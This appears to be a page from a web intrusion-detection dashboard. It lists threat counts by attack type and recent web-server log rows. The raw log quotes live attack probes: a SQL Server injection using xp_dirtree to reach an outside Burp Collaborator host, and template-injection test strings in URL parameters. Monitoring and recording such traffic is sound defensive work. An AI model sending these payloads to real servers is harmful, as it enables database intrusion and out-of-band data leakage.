idsthreat
| Threat Count | |
|---|---|
| Total Logs | 4228982 |
| Anomaly | 454720 |
| Normal | 2808897 |
| CSRF | 1264 |
| LDAP | 103598 |
| OSCommand | 18558 |
| PathTraversal | 153166 |
| SQL | 629095 |
| SSI | 2 |
| XPath | 445 |
| XSS | 59237 |
Latest log
| IP Address | Country | Timestamp | Request | Url | Response Code | Type |
|---|---|---|---|---|---|---|
| 157.41.184.67 | ID | 14/Feb/2021:21:12:51 | - | - | 408 | ldap |
| 106.76.72.98 | IN | 14/Feb/2021:21:11:55 | - | - | 408 | ldap |
| 157.41.184.67 | ID | 14/Feb/2021:21:10:49 | - | - | 408 | ldap |
| 157.41.184.67 | ID | 14/Feb/2021:21:10:49 | - | - | 408 | ldap |
| 223.230.151.114 | IN | 14/Feb/2021:21:03:46 | GET | / | 200 | anomaly |
| 185.191.171.15 | Unknown | 14/Feb/2021:20:56:13 | GET | /?_exception_statuscode=403&destination=%2Fuse | 200 | sql |
Pages
Raw log
| IP Address | Country | Timestamp | Request | Response Code | Url |
|---|---|---|---|---|---|
| 49.14.122.155 | IN | 21/Feb/2021:17:07:28 | GET | 200 | /news?sc9o9$%7b489*914%7dakm4i=1 |
| 49.14.122.155 | IN | 21/Feb/2021:17:05:08 | POST | 200 | /index.php/user/login/ |
| 49.14.122.155 | IN | 21/Feb/2021:17:04:58 | GET | 200 | /node/453?1%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5cxwxhv4ui8kfhtnpqm178s2ryjppjdbhz8pwjj97y.burpcollab'%2b'orator.net%5cdcf'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20=1 |
| 49.14.122.155 | IN | 21/Feb/2021:17:03:40 | GET | 200 | /internship |
| 49.14.122.155 | IN | 21/Feb/2021:17:01:32 | GET | 302 | /big_pipe/no-js?destination=e6nge$%7b994*321%7dlcjjm |
Login